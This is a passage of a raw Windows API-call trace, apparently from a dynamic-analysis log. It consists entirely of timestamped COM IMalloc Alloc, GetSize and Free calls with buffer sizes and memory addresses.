(This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5c20 [0106.089] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5ca0 [0106.089] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e64a0 [0106.089] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6040 [0106.089] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6160 [0106.089] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6600 [0106.089] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6100 [0106.089] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6760 [0106.089] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e63c0 [0106.089] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6020 [0106.090] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e62a0 [0106.090] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6140 [0106.090] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6000 [0106.090] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6300 [0106.090] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6180 [0106.090] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e66e0 [0106.090] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6740 [0106.091] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e61a0 [0106.091] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6220 [0106.091] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6700 [0106.091] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6080 [0106.091] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6560 [0106.091] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6060 [0106.092] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e61c0 [0106.092] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6400 [0106.092] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6520 [0106.092] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6200 [0106.092] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6620 [0106.092] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e60e0 [0106.092] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e60c0 [0106.092] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6240 [0106.093] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e63e0 [0106.093] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e66a0 [0106.093] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e63a0 [0106.093] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5f80 [0106.093] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6320 [0106.093] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6320) returned 0x18 [0106.093] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6320) [0106.093] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ff0 [0106.093] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) returned 0x8 [0106.093] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) [0106.094] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f80 [0106.094] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f80) returned 0x8 [0106.094] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f80) [0106.094] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6320 [0106.094] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6320) returned 0x10 [0106.094] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6320) [0106.094] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb02270 [0106.094] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb02270) returned 0x20 [0106.094] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb02270) [0106.095] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b828030 [0106.095] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b828030) returned 0x30 [0106.095] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b828030) [0106.095] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b881650 [0106.095] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b881650) returned 0x48 [0106.096] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b881650) [0106.096] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6640 [0106.096] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6640) returned 0x10 [0106.097] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6640) [0106.097] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092e0 [0106.097] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092e0) returned 0x8 [0106.098] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092e0) [0106.098] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6280 [0106.098] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6280) returned 0x10 [0106.099] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6280) [0106.099] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092b0 [0106.099] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) returned 0x8 [0106.100] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) [0106.100] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6280 [0106.100] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6280) returned 0x10 [0106.105] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6280) [0106.105] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ff0 [0106.105] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) returned 0x8 [0106.109] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) [0106.109] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6420 [0106.109] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6420) returned 0x10 [0106.110] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6420) [0106.110] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09100 [0106.110] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09100) returned 0x8 [0106.111] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09100) [0106.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6680 [0106.112] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6680) returned 0x10 [0106.113] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6680) [0106.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09280 [0106.113] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09280) returned 0x8 [0106.114] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09280) [0106.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6420 [0106.114] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6420) returned 0x10 [0106.115] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6420) [0106.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6280 [0106.115] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6280) returned 0x10 [0106.117] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6280) [0106.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09040 [0106.117] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09040) returned 0x8 [0106.233] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09040) [0106.233] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6aa0 [0106.233] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6aa0) returned 0x10 [0106.235] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6aa0) [0106.235] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09290 [0106.235] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09290) returned 0x8 [0106.236] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09290) [0106.236] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6aa0 [0106.236] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6aa0) returned 0x10 [0106.237] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6aa0) [0106.237] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09090 [0106.237] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09090) returned 0x8 [0106.238] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09090) [0106.238] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67e0 [0106.238] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e67e0) returned 0x10 [0106.239] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67e0) [0106.239] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09230 [0106.239] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09230) returned 0x8 [0106.240] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09230) [0106.240] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6cc0 [0106.240] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6cc0) returned 0x10 [0106.241] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6cc0) [0106.241] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092d0 [0106.241] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092d0) returned 0x8 [0106.242] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092d0) [0106.242] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e60 [0106.242] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e60) returned 0x10 [0106.242] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e60) [0106.243] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ff0 [0106.243] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) returned 0x8 [0106.243] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) [0106.243] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67a0 [0106.243] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e67a0) returned 0x10 [0106.243] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67a0) [0106.243] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f60 [0106.243] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) returned 0x8 [0106.244] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) [0106.244] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6780 [0106.244] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6780) returned 0x10 [0106.244] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6780) [0106.244] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fd0 [0106.244] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) returned 0x8 [0106.246] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) [0106.246] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e00 [0106.246] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e00) returned 0x10 [0106.247] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e00) [0106.247] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09100 [0106.247] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09100) returned 0x8 [0106.248] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09100) [0106.248] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6cc0 [0106.248] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6cc0) returned 0x10 [0106.249] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6cc0) [0106.249] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09060 [0106.249] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09060) returned 0x8 [0106.250] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09060) [0106.250] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6aa0 [0106.250] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6aa0) returned 0x10 [0106.263] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6aa0) [0106.263] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6960 [0106.263] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6960) returned 0x10 [0106.470] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6960) [0106.470] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091c0 [0106.470] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) returned 0x8 [0106.483] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) [0106.483] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a20 [0106.483] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6a20) returned 0x10 [0106.486] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a20) [0106.486] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090b0 [0106.486] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090b0) returned 0x8 [0106.489] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090b0) [0106.489] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f00 [0106.489] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6f00) returned 0x10 [0106.503] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f00) [0106.503] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c40 [0106.503] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6c40) returned 0x10 [0106.591] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c40) [0106.591] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09160 [0106.591] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09160) returned 0x8 [0106.708] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09160) [0106.708] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c20 [0106.708] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6c20) returned 0x10 [0106.715] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c20) [0106.715] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09240 [0106.715] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09240) returned 0x8 [0106.721] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09240) [0106.721] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c40 [0106.721] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6c40) returned 0x10 [0106.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c40) [0106.722] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091a0 [0106.722] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091a0) returned 0x8 [0106.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091a0) [0106.723] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6aa0 [0106.723] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6aa0) returned 0x10 [0106.724] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6aa0) [0106.724] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092a0 [0106.724] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) returned 0x8 [0106.725] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) [0106.725] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c20 [0106.725] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6c20) returned 0x10 [0106.726] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c20) [0106.726] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091a0 [0106.726] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091a0) returned 0x8 [0106.727] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091a0) [0106.727] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6820 [0106.727] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) returned 0x10 [0106.979] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) [0106.979] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ff0 [0106.979] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) returned 0x8 [0106.980] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) [0106.992] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6820 [0106.992] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) returned 0x18 [0106.993] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) [0106.993] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091c0 [0106.993] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) returned 0x8 [0106.994] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) [0106.994] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09210 [0106.994] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09210) returned 0x8 [0106.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09210) [0106.995] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6820 [0106.995] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) returned 0x10 [0106.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) [0106.995] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb02e70 [0106.995] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb02e70) returned 0x20 [0106.996] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb02e70) [0106.996] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b828bb0 [0106.996] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b828bb0) returned 0x30 [0107.008] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b828bb0) [0107.008] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b8823c0 [0107.008] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8823c0) returned 0x48 [0107.023] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8823c0) [0107.023] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f40 [0107.023] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f40) returned 0x8 [0107.023] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f40) [0107.023] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6820 [0107.023] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) returned 0x10 [0107.024] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) [0107.510] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090a0 [0107.510] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090a0) returned 0x8 [0107.510] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090a0) [0107.510] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0107.510] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) returned 0x10 [0107.510] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0107.510] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090c0 [0107.510] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090c0) returned 0x8 [0107.511] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090c0) [0107.511] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6780 [0107.511] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6780) returned 0x10 [0107.511] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6780) [0107.511] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09070 [0107.511] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09070) returned 0x8 [0107.511] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09070) [0107.511] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6820 [0107.511] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) returned 0x10 [0107.512] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) [0107.512] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09100 [0107.512] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09100) returned 0x8 [0107.513] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09100) [0107.513] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d20 [0107.513] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d20) returned 0x10 [0107.513] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d20) [0107.513] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ff0 [0107.513] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) returned 0x8 [0107.513] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) [0107.513] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09100 [0107.513] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09100) returned 0x8 [0107.514] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09100) [0107.514] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092b0 [0107.514] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) returned 0x8 [0107.514] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) [0107.514] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091a0 [0107.514] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091a0) returned 0x8 [0107.514] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091a0) [0107.514] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09220 [0107.514] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09220) returned 0x8 [0107.514] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09220) [0107.515] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09100 [0107.515] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09100) returned 0x8 [0107.515] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09100) [0107.515] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09250 [0107.515] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09250) returned 0x8 [0107.515] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09250) [0107.515] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e80 [0107.515] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) returned 0x10 [0107.515] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) [0107.515] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6620) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6600) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6560) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5840) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e58a0) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e63c0) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5800) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5920) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6020) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e57a0) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5820) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e61c0) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5f80) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6100) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5940) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6400) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6760) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6520) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6140) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6200) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e62a0) [0107.516] IMalloc:Free (This=0x7ff9e7edf3f0, 